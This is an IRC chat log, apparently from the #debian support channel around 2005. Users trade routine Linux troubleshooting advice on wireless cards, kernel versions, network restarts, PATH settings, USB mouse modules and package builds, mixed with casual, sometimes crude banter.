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| 03:26.16 | bigfish | im looking to spend no more than 40 canadian atm... |
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| 03:27.27 | posmerite | looking for a good c++ ide for windows anybody have suggestions |
| 03:27.30 | liable | hmm, red cordial seems to make my heart rate rise.. weeee |
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| 03:27.34 | bigfish | and Im buying the linksys router and running openwrt |
| 03:27.49 | bigfish | so Im not sure if it does b |
| 03:27.50 | K_Dallas | posmerite, Windows? |
| 03:27.54 | mdh | posmerite: microsoft visual studio professional |
| 03:27.55 | posmerite | xp |
| 03:28.04 | posmerite | one i can download |
| 03:28.04 | K_Dallas | there is dev-c++ |
| 03:28.12 | K_Dallas | free compiler and ide |
| 03:28.13 | TecnoVM64 | hello, a question, how i can get the headers of the kernel-2.6.8-2-686??? |
| 03:28.25 | posmerite | maybe not free |
| 03:28.28 | mosty | bigfish, wrt54g's do support 802.11b |
| 03:28.45 | mdh | posmerite: you've come to the wrong place for M$ Windoze warez |
| 03:28.54 | bigfish | great |
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| 03:29.11 | posmerite | heh well the debian project is much better then win blows anyday |
| 03:29.32 | K_Dallas | posmerite, get cygwin, install gcc, install emacs and enjoy it |
| 03:29.33 | madclicker_ | what is the name for "debian installer" channel? |
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| 03:29.54 | liable | #debian-boot |
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| 03:30.07 | reamtS | How do I set nfs, mountd servers to stop chaning thier ports? |
| 03:30.15 | bigfish | mosty, ought a cheap router and am giving to a friend , couldn't do anything with it. Couldn't even bittorent some linux iso's with it. pis poor quality. |
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| 03:30.17 | madclicker_ | liable: thx |
| 03:30.25 | posmerite | first i have to download the cds then i have to burn them then i have to get one of these boxes working ahh such a day |
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| 03:31.17 | mosty | bigfish, i have a wrt54g, it was very cheap and works well |
| 03:31.23 | UdontKnow | posmerite: please, warez is offtopic here |
| 03:31.24 | posmerite | btw i just bought one of the socket 478 aopen xcube pcs they are really neat plus full featured |
| 03:31.43 | bigfish | im hoping to spend about sixty one ebay, plus shipping how much did you pay? |
| 03:31.48 | K_Dallas | posmerite, do you need an ear? make a chan of your own |
| 03:32.03 | posmerite | no ears is peters around |
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| 03:32.20 | cafuego | and do WDS properly |
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| 03:32.55 | liable | whats wds? |
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| 03:33.11 | mdh | windoze domain screwup |
| 03:33.14 | posmerite | peters whats up ?? |
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| 03:33.23 | peterS | posmerite: remarkably little |
| 03:33.26 | liable | oh. |
| 03:33.30 | cafuego | liable: Wireless Distribution System |
| 03:33.38 | posmerite | peters stay positive |
| 03:33.44 | cafuego | liable: Multiple APs on the same network that clients can hop between. |
| 03:33.56 | cafuego | peterS->dest(); |
| 03:34.10 | ctrlER | hi, I just did nmap localhost and it seems i have port 5010/tcp open telelpathstart, does anyone know what service is that? |
| 03:34.10 | liable | cafuego: ooh, thanks. |
| 03:34.33 | posmerite | google it |
| 03:34.37 | cafuego | liable: I have 54Mbit network access in a 150foot radius around my house :-) |
| 03:34.43 | mdh | ctrlER: use lsof to find out |
| 03:34.54 | posmerite | where do you live |
| 03:34.56 | liable | cafuego: heh, wish I lived next door :) |
| 03:35.03 | greyson | mdh: Hey there, good to see you again. How's Leet-LUG going? |
| 03:35.10 | cafuego | liable: Wouldn't be much use without VPN access ;-) |
| 03:35.38 | posmerite | there are only somany keys sooner or later the routers soon to break |
| 03:35.42 | cafuego | posmerite: In tomorrow, judging from your hostmask. |
| 03:35.56 | posmerite | dont judge |
| 03:36.18 | posmerite | this is a closet box |
| 03:36.37 | liable | its confused as to its sexuallity? |
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| 03:36.59 | cafuego | liable: No, it knows, it just hasn't decided to tell the world yet. |
| 03:37.01 | posmerite | intresting point but no it sits in a closet |
| 03:37.09 | bigfish | is dlink linux compatible for wireless pcmcia card? |
| 03:37.12 | ctrlER | mdh, thanks, its amule |
| 03:37.14 | bigfish | ... hmmm |
| 03:37.23 | cafuego | bigfish: Depends on the card. |
| 03:37.36 | mosty | bigfish, depends on the chip |
| 03:37.56 | bigfish | D-Link AirPlus DWL-650+ |
| 03:38.01 | cafuego | bigfish: No. |
| 03:38.07 | bigfish | hun |
| 03:38.15 | cafuego | That uses a TI acx100 or acx111 |
| 03:38.16 | liable | bigfish: yeah, the important bit is finding what chipset the card has, as thats what the drivers are for.. |
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| 03:38.23 | cafuego | which i can tell you from experience won't work. |
| 03:38.31 | SDFH_Linux | i have that wireless ethernet card |
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| 03:38.36 | SDFH_Linux | on one of my laptops |
| 03:38.39 | mosty | bigfish, www.prism54.org has a list of supported cards/revisions |
| 03:38.44 | SDFH_Linux | i had to buy linuxant driver |
| 03:38.45 | bigfish | someone want to recomend one from here that is affordable |
| 03:38.48 | bigfish | http://computers.listings.ebay.ca/PCMCIA-Cards-for-Laptops_Wireless-WiFi_W0QQcatrefZC3QQcatrefZC6QQcoactionZcompareQQcoentrypageZsearchQQcopagenumZ1QQflocZ1QQfposZQ5AIPQ2fPostalQQfromZR2QQfsooZ1QQfsopZ1QQftrtZ1QQftrvZ1QQsacatZ74954QQsadisZ200QQsaslcZ1QQsbrftogZ1QQsocmdZListingItemListQQsofocusZso |
| 03:38.56 | SDFH_Linux | but i havent evenr tried ndiswrapper |
| 03:39.22 | bigfish | openwrt doesnt support a? |
| 03:39.23 | cafuego | SDFH_Linux: ndiswrapper works with a PCI version; wouldn't hold my breath on pcmcia. |
| 03:39.34 | cafuego | bigfish: Not if the hardware doesn't. |
| 03:39.47 | bigfish | um? |
| 03:39.48 | cafuego | bigfish: and a wrt54g doesn't have A hardware. |
| 03:39.54 | bigfish | oh oik |
| 03:39.58 | SDFH_Linux | really i have never tried that card with ndiswrapper |
| 03:40.08 | SDFH_Linux | i have with my netgear wg511 |
| 03:40.17 | SDFH_Linux | and that worked |
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| 03:40.36 | madclicker_ | liable: i found a installer by Len Sorensen for 2.6.12 hope it works |
| 03:40.48 | liable | madclicker_: :) good luck. |
| 03:41.07 | litage | what might prevent me from connecting to irc.freenode.net? yesterday i was able to, but today i'm not. nothing on the router has changed |
| 03:41.12 | SDFH_Linux | has 2.6.12 kernel come out? |
| 03:41.20 | madclicker_ | liable: i'll take it. :), thx |
| 03:41.32 | liable | kernel.org |
| 03:41.48 | SDFH_Linux | its not in testing? |
| 03:42.07 | liable | stable, .13 is testing. |
| 03:42.38 | bigfish | IBM High-Rate Wireless LAN PC PCMCIA Card Adapter 09N9863? |
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| 03:43.30 | madclicker_ | liable: its good to hear, altough am reading alot of nasty staff from inquierer about intel and M$ and hardware issues for kernel |
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| 03:43.48 | mdh | SDFH_Linux: 2.6.12 was released ages ago |
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| 03:44.08 | mdh | SDFH_Linux: 2.6.13 is near release |
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| 03:44.35 | bigfish | anyways thanks for the help im to tired to read anymore |
| 03:44.37 | MrPan | iis there a way to moun a fat partition and to make it writeable only for the user i want to ? |
| 03:44.39 | bigfish | bye all |
| 03:45.37 | posmerite | when i do c++ development on a linux box do any of the ide's for linux have win xp porting ability |
| 03:46.02 | furrywolf | you're not going to compile for windoze xp from linux |
| 03:46.12 | mdh | furrywolf: why not? |
| 03:46.25 | mdh | posmerite: write portable code. |
| 03:46.35 | SDFH_Linux | mdh are we skipping 2.6.12? |
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| 03:46.45 | mdh | SDFH_Linux: eh? |
| 03:46.45 | posmerite | code is one thing executable files are another |
| 03:46.48 | SDFH_Linux | is it safe using stable to upgrade to 2.6.13? |
| 03:47.05 | furrywolf | mdh: none of the available tools output windoze-linked binaries with windoze libs, etc? :P |
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| 03:47.12 | maher | posmerite: you can cross compile to windows executables |
| 03:47.23 | posmerite | that and having all the necessary dlls |
| 03:47.28 | Gokee2 | I have debian running but the network cord got unpluged... Now the internet does not work... How do I make it work again? |
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| 03:47.39 | maher | Gokee2: plug it back in? |
| 03:47.43 | posmerite | library files etc |
| 03:47.44 | Gokee2 | I did |
| 03:47.51 | maher | Gokee2: run /etc/init.d/networking restart |
| 03:47.53 | liable | Gokee2: ifdown eth0, ifup eth0 |
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| 03:48.13 | Gokee2 | maher, ok |
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| 03:48.19 | mdh | furrywolf: I think mingw does |
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| 03:49.12 | mdh | or you can use wine |
| 03:49.37 | Gokee2 | maher Thank you it works great now |
| 03:49.42 | MrPan | umask with the user option... someone who know hot to use it ? |
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| 03:50.50 | xpato | from where does top get its info? |
| 03:51.01 | mdh | xpato: /proc |
| 03:51.34 | Charon_ | Has anyone here ever been able to append information in old apache log files to awstats. When I set it up it only looked at the last few days in the log files but none of the archives. And it looks like in debian the log files archive themselfs. So awstats cannot get all of the webeservers history. Anyone have any experiance with this ? |
| 03:51.36 | xpato | so, it basycaly looks for the process there and print the result? |
| 03:52.05 | mdh | xpato: yes |
| 03:52.46 | mdh | Charon_: for i in access.*.log.gz; do zcat $i | awstats ...; done |
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| 03:53.01 | xpato | we are having some problems with a few servers, they freeze for a moment (betewn 3-4AM) and we want to catch which process are taking the machin |
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| 03:53.28 | xpato | do you know an app that i could use? |
| 03:54.00 | xpato | or should i get my hands dirty and wrtie some code? |
| 03:54.52 | mdh | xpato: you could run a cron job that appends system stats to a logfile |
| 03:55.15 | mdh | xpato: or use SNMP |
| 03:55.19 | xpato | what you mean from system stats? |
| 03:55.37 | xpato | with SNMP coul i see the name of the process? |
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| 03:56.09 | mdh | of course |
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| 03:58.54 | cafuego | or just run cacti |
| 03:59.15 | concept10 | There is some site that allows you to browse the web from behind thier server, anyone know what im talking about? |
| 03:59.54 | mdh | concept10: anonymous proxy server |
| 03:59.57 | liable | proxy?? |
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| 04:03.07 | majik | hi all, simple question, how do i add /sbin to my path without over writing the other directories already in there? |
| 04:03.43 | mdh | majik: what shell? is this temporary or permament? do you want it just for yourself or for certain users? |
| 04:04.05 | majik | bash i think, and i want it just for root |
| 04:04.08 | concept10 | mdh, yes. What is the site call |
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| 04:04.32 | mdh | !fgi concept10 anonymous proxy server |
| 04:04.33 | dpkg | concept10: http://fuckinggoogleit.com/search?query=anonymous proxy server |
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| 04:05.04 | concept10 | mdh, thanks |
| 04:05.04 | floppyears | hi |
| 04:05.10 | floppyears | what is the purpose of this channel ? |
| 04:05.11 | majik | is it just "set path /sbin"? |
| 04:05.31 | peterS | floppyears: to MAKE.MONEY.FAST |
| 04:05.41 | floppyears | peterS: hehe ;) |
| 04:05.53 | fortysixand2 | 1. chat 2. ??? 3. profit! |
| 04:06.04 | mdh | majik: it depends on which shell, which is why I asked you |
| 04:06.11 | floppyears | I thought it was support |
| 04:06.14 | majik | its bash |
| 04:06.32 | mdh | majik: for bash, you would export PATH=$PATH:/sbin |
| 04:06.32 | floppyears | and it makes me upset how many people instead of helping somebody refer them to google |
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| 04:06.38 | floppyears | or they just say RTFM |
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| 04:06.58 | majik | thank you |
| 04:07.10 | peterS | floppyears: RTFM is a good answer if you have firsthand knowledge that the answer is clearly laid out in the M, and you can refer the person to the M in question |
| 04:07.17 | mdh | majik: you can place that in root's ~/.bash_profile |
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| 04:07.31 | peterS | floppyears: I see it a lot, though, for things where I happen to know the answer *isn't* in the M, or it will be quite obtuse |
| 04:07.34 | humbolt | is there a way to get rid of the dhcp delay on startup when there is no cable connected? |
| 04:07.56 | liable | humbolt: try ifplugd |
| 04:08.14 | humbolt | just installing it will help? |
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| 04:08.46 | floppyears | peterS: but sometimes the way it is said it might not be a very user friendly comment |
| 04:09.24 | mdh | floppyears: would you like to discuss debian, or are you simply here to whine about free support? |
| 04:10.46 | maher | i got all this stuff for free and it sucks! |
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| 04:11.37 | maher | i met all these 14 year old social retards on irc and they were rude to me! |
| 04:11.37 | mdh | maher: it sucks you got it for free? I feel that way sometimes too |
| 04:11.58 | floppyears | mdh: no, I'm her to discuss debian. |
| 04:12.19 | maher | mdh: i once sent spi a check - they sent it back to me a year later saying they had been to confused to cash it... |
| 04:12.21 | floppyears | mdh: I just happened to glanced at irssi and I saw somebody providing the fuckingoogleit page |
| 04:12.38 | maher | s/to/too/ |
| 04:13.12 | mdh | floppyears: that was me. |
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| 04:13.28 | mdh | floppyears: the person wanted to find an anonymous proxy server |
| 04:13.32 | peterS | maher: SPI had a lot of problems with that until fairly recently. apparently they mostly have their act together now |
| 04:13.41 | mdh | floppyears: I'm not their google bitch |
| 04:14.07 | maher | peterS: yeah - i think this was when they didn't have a treasurer for a long time - i'll send them another one in a bit... |
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| 04:14.43 | mdh | maher: hahaha :) |
| 04:15.39 | litage | what's the difference between portscanner and nmap? |
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| 04:16.00 | floppyears | mdh: sorry, I guess I was just in not a good mood. |
| 04:16.09 | floppyears | mdh: when I saw that :) |
| 04:16.23 | bob2 | nmap is a particular program |
| 04:16.32 | bob2 | among other things, it can portscan machines |
| 04:17.15 | Dinuir | I'm trying to install Debian on Sata drive (no raid). Installer cannot find hard drives (Knoppix live can see ntfs partitions fine). Anyone have any ideas? |
| 04:17.32 | bob2 | Dinuir: did you use the 2.6 kernel option? |
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| 04:18.10 | Dinuir | bob2: I'm installing Debian 3.1r0 (Sarge?). This should have it? |
| 04:18.18 | bob2 | Dinuir: not by default |
| 04:18.27 | bob2 | Dinuir: linux26 at the boot prompt |
| 04:18.48 | Dinuir | bob2: thanks - is linux26 the command? |
| 04:19.02 | deadcat | Dinuir: press F1 and read |
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| 04:19.25 | bob2 | Dinuir: yes, or do as deadcat says |
| 04:19.42 | Dinuir | bob2: thanks |
| 04:19.46 | Dinuir | deadcat: thanks |
| 04:21.00 | MastrYoda | My mouse acts kind of quirky and it stalls/jerks sometimes....how can I look at other mouse drivers and maybe change the mouse driver? |
| 04:21.08 | MastrYoda | I have a logitech optical mouse. |
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| 04:21.19 | peterS | MastrYoda: plugged into USB or PS/2? |
| 04:21.30 | MastrYoda | peterS: USB |
| 04:21.35 | peterS | MastrYoda: and what kernel version? |
| 04:21.46 | peterS | (uname -r) |
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| 04:22.06 | MastrYoda | peterS: 2.6.8-2-386 |
| 04:22.31 | peterS | MastrYoda: so, you have the 'usbhid' module loaded, or 'usbmouse'? |
| 04:22.37 | peterS | MastrYoda: they both work, one might work better than the other |
| 04:23.19 | MastrYoda | usbhid 28864 0 |
| 04:23.19 | MastrYoda | usbcore 104164 5 usbhid,uhci_hcd,ehci_hcd |
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| 04:23.45 | peterS | MastrYoda: right. usbhid is generally better. but you could try unloading usbhid and loading usbmouse |
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| 04:23.53 | MastrYoda | k |
| 04:24.03 | peterS | MastrYoda: don't do this if you have a USB keyboard plugged in, unless you arrange to load usbkdb as well after unloading usbhid |
| 04:24.23 | peterS | MastrYoda: you shouldn't need to reboot or restart X or anything, btw |
| 04:24.26 | MastrYoda | yea, my keyboard isn't usb |
| 04:24.30 | MastrYoda | It's PS/2 |
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| 04:39.03 | Twich20 | is anyone out there? |
| 04:39.45 | Twich20 | hello |
| 04:39.53 | MastrYoda | !tell Twich20 about ask |
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| 04:40.13 | MastrYoda | !tell Twich20 about enter |
| 04:40.18 | MastrYoda | !tell Twich20 about repeat |
| 04:40.29 | deadcat | !tell MastrYoda about enter |
| 04:40.50 | mdh | just yell the DMZ admin password out louder, I don't think the people down the street quite heard it |
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| 04:41.21 | terr_ | Ah - this works now! |
| 04:41.22 | deadcat | mdh: thinking about going postal eh? |
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| 04:41.51 | terr_ | are there any folks in here from Calgary? |
| 04:42.04 | mdh | deadcat: every single one of my cow-orkers is a windows gumby without the vaguest sense of how the internet works. |
| 04:42.08 | Twich20 | ummm,, how come when i try to reinstall windows i cannot |
| 04:42.31 | deadcat | mdh: whats the company do? |
| 04:42.38 | deadcat | Twich20: we dont know |
| 04:42.39 | terr_ | Twich20: do you ahve a legal version? |
| 04:42.40 | Twich20 | it will not allow me to reformat |
| 04:42.47 | deadcat | terr_: hahaha |
| 04:42.51 | mdh | deadcat: practically goes bankrupt and gets aquired by someone else ;) |
| 04:42.57 | terr_ | deadcat: I could not resist! |
| 04:43.02 | deadcat | mdh: dang |
| 04:43.09 | deadcat | terr_: good come back though (= |
| 04:43.15 | terr_ | are there any folks in here from Calgary? |
| 04:43.27 | terr_ | my phone is dead and I want someone to call me |
| 04:43.28 | deadcat | terr_: no you on your own. |
| 04:43.33 | deadcat | (= |
| 04:43.34 | mdh | they let go of all their staff with a clue bar one essential infrastructure support person |
| 04:43.52 | terr_ | deadcat: ya - I'm wiothout a phone - but my internet connection works. |
| 04:44.25 | mdh | they "refocus" on solutions aimed solely at the M$ world (the smallest, lowest paying, and most problem-filled client base we ever had) |
| 04:44.27 | Twich20 | i go back and forth between OS, im teaching my self KDE but i don't know why i cannot but windows back on |
| 04:45.13 | deadcat | Twich20: do you enjoy going back and forth? rebooting all the time? |
| 04:45.27 | mdh | despite the fact the software we resell solutions around the vendors highest selling platforms are linux & solaris |
| 04:45.34 | Twich20 | not really |
| 04:45.44 | deadcat | Twich20: do you prefer windows over linux? |
| 04:45.47 | terr_ | <Twich20> "but" what are you really asking and where are you from - I suspect Engish is a second language - in which case you are doing well |
| 04:46.13 | mdh | then when the company goes down the drain, they try to screw over the people who predicted this back at the beginning and warned them about it |
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| 04:46.57 | terr_ | mdh - one common denominator is that company CEO's have big egos. Hense - I have my own company. |
| 04:47.01 | Twich20 | I prefer linux however i still need some of the minor advantages of windows |
| 04:47.08 | levander | If I have a system crash, and need to reload the operating system on my machine, can I restore my system directly (and only) from a lvm snapshot? |
| 04:47.09 | terr_ | <Twich20> "but" what are you really asking and where are you from - I suspect Engish is a second language - in which case you are doing well |
| 04:47.14 | tvn | the Linux environment needs a damn mp3 player that can simply allow saving/adding songs to a favorate list |
| 04:47.30 | yaboo | anyone running apache2 with virtualhosts here |
| 04:47.31 | deadcat | tvn: xmms dont work? |
| 04:47.32 | mdh | eg, one of the guys here doesn't know the difference between an IDE and a SCSI bus and I caught him trying to brute-force an IDE CD-ROM into a scsi controller port *after* I had told him "don't even try that, it won't work" - that guy gets paid almost twice as much as I do |
| 04:47.35 | metaperl | tvn: amarok |
| 04:47.38 | tvn | deadcat: nope ... it does not have that |
| 04:47.39 | deadcat | yaboo: no. 1.3 |
| 04:47.49 | deadcat | tvn: back to windows we go then. |
| 04:47.55 | yaboo | thanks deadcat |
| 04:48.10 | tvn | deadcat: yep , I have to use a kvm switch to do that ... just to get an winamp |
| 04:48.23 | deadcat | tvn: cool. |
| 04:48.24 | Twich20 | ughh |
| 04:48.26 | tvn | metaperl: amork as well as rhythmbox are both crashing so often |
| 04:48.36 | Twich20 | no i speak english |
| 04:48.39 | metaperl | tvn: build amarok from svn |
| 04:48.41 | Twich20 | thanks : ) |
| 04:48.43 | terr_ | mdh - Time to talk to the boss or quit. What country are you in? |
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| 04:48.45 | metaperl | rhythmbox is very stable |
| 04:49.10 | tvn | rhthmbox is the most unstable app there is .... bar none |
| 04:49.13 | terr_ | Twich20: I'm trying to help you - but you have to clue me in to what you are doing. |
| 04:49.31 | tvn | loads it up .... freeze , remove all its config file, reload ... freeze |
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| 04:49.57 | mdh | terr_: we've been acquired by another company since we practically went bankrupt due to focussing solely on M$ solutions |
| 04:49.59 | terr_ | mdh: I use a lot of SCSI- was it 68 pin or 50 pin? Compair to 34 pin IDE |
| 04:50.09 | garface | when i try to install debian from the net install disc on a compaq laptop, it hangs during the choose language menu. is there a boot command that can work? |
| 04:50.22 | terr_ | mdh Well - at least you ahve a job. |
| 04:50.22 | mdh | terr_: I believe U2W is 68-pin ;) |
| 04:50.23 | Twich20 | Just rying to wipe the HD clean and reinstall windows for a bit,,, but fdisk wont do it and niether will the window boot disk |
| 04:51.01 | Rez | terr_: 34 pin IDE? uh, it's 40. 34 is a floppy |
| 04:51.02 | Twich20 | I think it has something to do with knoppix not unmounting the drive or something but i don't know |
| 04:51.03 | terr_ | mdh - yes it is. I run old SCSI stuff - mostly 50 pin 5400 RPM stuff - because I know the lower RPM stresses the HW less. |
| 04:51.28 | terr_ | Rez: I stand corrected. I've never counted them actually - and you are correct. Thanx. |
| 04:52.01 | SDFH_Linux | 5400rpm stresses the hw less? |
| 04:52.29 | terr_ | SDFH_Linux: ya my opinion - slower seeks and fewer rpm's |
| 04:52.47 | Twich20 | any ideas |
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| 04:53.02 | terr_ | SDFH_Linux: I really don't need much in the way of performance |
| 04:53.17 | terr_ | Twich20: as I said b4 - tell me what is happening. |
| 04:53.25 | deadcat | Twich20: nope. try #knoppix |
| 04:53.33 | SDFH_Linux | what cpu your got terr_? |
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| 04:53.45 | Twich20 | I told you up higher |
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| 04:53.59 | Twich20 | #knoppix |
| 04:54.09 | Twich20 | read further up |
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| 04:55.01 | drusscol | what could cause my dns lookups to be slow as molasses? In resolv.conf, I have my wireless router as the nameserver (as set by DHCP), but that works fine for my other boxen. Any ideas? |
| 04:55.12 | mdh | Twich20: both fdisk on linux and fdisk on the windows boot cd will wipe the hdd |
| 04:55.18 | bob2 | might be ipv6-related |
| 04:55.23 | terr_ | SDFH_Linux: I have a 1998 BX440 motherboard which I upgraded to a 1.3 mHz tualatin core CPU with 640 MB of registered ECC memory. I run dual heads and Debian. I have a sister machine which runs NT 4.0 with CYGWIN. Hense I may know what Twich20 is trying to do |
| 04:55.24 | bob2 | but it only seems to afflict some people |
| 04:55.39 | mdh | Twich20: well, not wipe as in the "write 1's and 0's all over the disk 80 times to cover our tracks" |
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| 04:56.06 | bob2 | drusscol: in /lib/modules/$(uname -r), move kernel/net/ipv6/ipv6.ko somewhere else and reboot |
| 04:56.36 | Twich20 | No they don't work it says that " they can not access the drive" |
| 04:57.20 | terr_ | Twich20: I might be able to help you - if you tell me what your facing. |
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| 04:57.29 | dabaR | which ports does amsn use to send files? |
| 04:57.43 | drusscol | bob2: thanks, I'll give it a try |
| 04:57.57 | deadcat | dabaR: no clue. |
| 04:58.03 | terr_ | SDFH_Linux: what do you run? |
| 04:58.29 | SDFH_Linux | athlon xp's |
| 04:58.40 | terr_ | dabaR: there is a file which links this in /etc - I forget the name - might be mime or something |
| 04:58.44 | SDFH_Linux | i had a p4 too but the psu or mobo shorted |
| 04:58.50 | SDFH_Linux | 3 days ago |
| 04:58.53 | SDFH_Linux | how abouts you?? |
| 04:59.00 | terr_ | SDFH_Linux: way more powerful than I have or need. |
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| 04:59.24 | SDFH_Linux | what you got? |
| 04:59.35 | terr_ | SDFH_Linux: I had a PS die after 5 years. I had another on the garage. |
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| 04:59.47 | SDFH_Linux | so what cpu you got? |
| 04:59.54 | terr_ | SDFH_Linux: I told you already.... |
| 05:00.01 | terr_ | SDFH_Linux: I have a 1998 BX440 motherboard which I upgraded to a 1.3 mHz tualatin core CPU with 640 MB of registered ECC memory. I run dual heads and Debian. I have a sister machine which runs NT 4.0 with CYGWIN. Hense I may know what Twich20 is trying to do |
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| 05:00.15 | SDFH_Linux | ah ok |
| 05:00.21 | dabaR | terr_: thanks, I found out, thank you. |
| 05:00.24 | SDFH_Linux | sorry i stepped away from the puter |
| 05:00.34 | terr_ | SDFH_Linux: I am very primative in some ways. |
| 05:00.44 | dabaR | there is a seting inside the program, I dont use it, a friend is setting it up. |
| 05:00.52 | SDFH_Linux | i had from 99-03 a pentium 3 450mhz slot 1 with a 440bx-2 |
| 05:01.14 | SDFH_Linux | i wouldnt of upgraded but the ide channels started to die |
| 05:01.21 | sparr_ | any ideas what this might be? eth1 Link encap:UNSPEC HWaddr 00-01-29-00-00-00-00-00-00-00-00-00-00-00-00-00 |
| 05:01.39 | deadcat | sparr_: in promiscous mode. |
| 05:02.04 | terr_ | sparr_: it looks someething like a MAC address - but too many bits. |
| 05:02.16 | sparr_ | terr_: yeah, thats about how far i got :) |
| 05:02.22 | sparr_ | deadcat: interesting idea |
| 05:02.34 | SDFH_Linux | terr_ i laugh though that the newest m$ crap requires so much cpu and ram |
| 05:02.51 | SDFH_Linux | and people just go a long with that and other things and i dont get it |
| 05:02.56 | SDFH_Linux | why they do |
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| 05:03.38 | terr_ | SDFH_Linux: I gave up on them with W2K. They did cost me a lot of money and time.... wasted months of my life. |
| 05:03.39 | CaT[tm] | debian I think I'm missing something but... why does it matter to exim that the first mx of a domain is local to the exim server? I'm trying to setup virtual hosts but am (obviously) failing. |
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| 05:04.09 | jason^ | so i'm trying to install ntpdate and it sits here saying it's trying to update, but i know it's going to fail because i'm NAT'd, is there a way to tell it not to do that? |
| 05:04.36 | CaT[tm] | jason: being natted should not cause ntp to fail |
| 05:04.48 | terr_ | CaT[tm]: Not apache I presume. I didn't follow all of your message |
| 05:04.55 | CaT[tm] | terr: exim. |
| 05:05.10 | maher | sparr_: its probably ip over fw |
| 05:05.11 | CaT[tm] | s/virtual hosts/virtual emails/ |
| 05:05.26 | Twich20 | so i guess nobody can help me |
| 05:05.28 | sparr_ | maher: thats plausible |
| 05:05.28 | frkat | how do I specify DNS in debian, I looked in the interface file and I don't know where to put it. |
| 05:05.41 | terr_ | CaT[tm]: I've not worked with it.... so I can't help |
| 05:05.43 | jason^ | CaT[tm]: it fails because ntp tries to send a udp packet back to the source, which is a firewall, and my firewall drops the packet |
| 05:05.45 | maher | jason^: ntpdate should work thru nat |
| 05:05.52 | frkat | like dns as in using my isp's dns server |
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| 05:06.01 | dabaR | sparr_: looks like the 26 zeros used as the default password on linksys gateways. |
| 05:06.04 | CaT[tm] | jason: ah. that's the fault of firewalling and not nat |
| 05:06.18 | SDFH_Linux | same here terr_ is where i said no mas |
| 05:06.22 | SDFH_Linux | 2k |
| 05:06.26 | frkat | I have static ip too.. |
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| 05:06.35 | SDFH_Linux | in 98 i started to look for alternatives |
| 05:06.36 | jason^ | actually, my cable modem filters out that port, they block everything below 1024 except ident |
| 05:06.43 | SDFH_Linux | linux, beos |
| 05:06.45 | jason^ | so it's not really my fault :) |
| 05:06.57 | CaT[tm] | jason: uninstall ntpdate then :) |
| 05:06.58 | maher | jason^: are you sure? what brand cable modem? |
| 05:06.58 | terr_ | SDFH_Linux: I really like my KDE desktop - and I run openBSD on the servers... |
| 05:07.04 | SDFH_Linux | nice |
| 05:07.09 | SDFH_Linux | what you guys think about freebsd |
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| 05:07.19 | jason^ | maher: it's not the cable modem, it's the config given to the cable modem by my provider |
| 05:07.21 | Twich20 | alright well cool thanks |
| 05:07.26 | CaT[tm] | sdgh: it's a unix. if you like the flavour, lick it :) |
| 05:07.32 | peterS | SDFH_Linux: don't know anything about freebsd, I've always been happy with debian. freebsd is said to be high-quality though |
| 05:07.37 | terr_ | SDFH_Linux: you missed a vowel: "do". Insert where appropriate. |
| 05:07.49 | jason^ | cable modem cpe's take care of bandwidth limiting and port mangling |
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| 05:08.01 | jason^ | and my isp is anal :| |
| 05:08.11 | maher | jason^: well - that's not very nice - it won't even accept udp packets associated with an outbound request? that's basically broken |
| 05:08.47 | CaT[tm] | maher: yeah, but dude... noone ever hosts services above port 1024. |
| 05:09.17 | jason^ | maher: yeah it sucks, i have to use the option to use nonstandard ports to make it work |
| 05:09.21 | maher | jason^: time for a new isp |
| 05:09.45 | jason^ | maher: i wish, dsl around here is expensive and requires a phone line, which i don't have a use for |
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| 05:11.20 | dabaR | jason^: I think it requires that everywhere. |
| 05:11.48 | terr_ | is there anyone here from Calgary? I need to test my phone. |
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| 05:12.44 | pepsi | jason^, speakeasy.net will give you dsl without a phone for like $10 more |
| 05:13.04 | mdh | E: Build-dependencies for bugzilla could not be satisfied. |
| 05:13.08 | mdh | bugger :( |
| 05:13.16 | maher | mdh: file a bug :) |
| 05:13.51 | terr_ | mdh - try cvs and full source install or try apt. SOunds like you are RPM based |
| 05:14.08 | mdh | terr_: RPM based? you're fucking kidding me |
| 05:14.11 | deadcat | HAHHAHA |
| 05:14.17 | deadcat | mdh: sounds like you are. (= |
| 05:14.23 | terr_ | mdh - well HTFWIK? |
| 05:14.25 | mdh | real:~# apt-get build-dep bugzilla |
| 05:14.25 | mdh | Reading Package Lists... Done |
| 05:14.25 | mdh | Building Dependency Tree... Done |
| 05:14.25 | mdh | E: Build-dependencies for bugzilla could not be satisfied. |
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| 05:14.52 | mdh | rpm doens't enter into it. this parrot is dead |
| 05:15.07 | bob2 | it's an ex-buildable-package |
| 05:15.43 | posmerite | am i having a problem with jigdo or is this thing supposed to keep saying host does not exist |
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| 05:16.06 | peterS | posmerite: which host does not exist? |
| 05:16.11 | peterS | posmerite: that doesn't sound normal |
| 05:16.14 | terr_ | mdh - just borken then |
| 05:16.14 | terr_ | ewww mdh got the silver boot! |
| 05:16.27 | click_ | anyone got the mirfak frontpage extension to work? |
| 05:16.41 | mdh | terr_: debhelper is a mean bitch ;) |
| 05:16.42 | terr_ | mdh - try using cvs and do it the hard way |
| 05:16.44 | posmerite | the script has been runnning for 30 minutes and i dont think it has dl anything |
| 05:17.04 | terr_ | mdh: I'm sure - and a SDM bitch at that! |
| 05:17.10 | mdh | I might just upgrade the box to sid and install the binary package |
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| 05:17.26 | mdh | its freaking perl scripts, not like a compile is needed or anything |
| 05:17.30 | terr_ | mdh: that idea has merits. |
| 05:17.59 | posmerite | what the hell it put the directory name before the host name |
| 05:17.59 | jason^ | pepsi: i don't think i can get speakeasy out here, we're served by a small telco |
| 05:18.04 | terr_ | mdh: Sarge U'G is borken too. I have a fucked system because of this.... |
| 05:18.15 | pepsi | jason^, oh.. where are youZ? |
| 05:18.33 | jason^ | wexford, pa, near pittsburgh, pa |
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| 05:20.16 | zu22 | Is this security flavored distro of Debian? something like Trustix but for Debian? |
| 05:20.22 | zu22 | s/this/there |
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| 05:20.59 | jm_ | zu22: Adamantix is based on Debian |
| 05:21.02 | bob2 | adamantix |
| 05:21.07 | bob2 | I'm not sure it buys you much, tho |
| 05:21.12 | posmerite | i hate this irc program |
| 05:21.29 | maher | adamantix <-- comes with free eye shadow |
| 05:21.40 | Vyrus001 | how do i uninstall the smtp server on a stock deb install? (apt-get remove what ?) |
| 05:21.59 | jm_ | you can't remove MTA |
| 05:22.12 | terr_ | jason^: when I was a kid I hauled lines to connect phones - and climbed posts. IMHO there is no reason to stay in the stone ages. PPl solved these problems in the '40 and surely with a little work and fewer lawyers we can do it now. |
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| 05:22.44 | terr_ | maher: does it come with a perfect woman too? |
| 05:22.46 | Vyrus001 | jm well how do i turn it off ? |
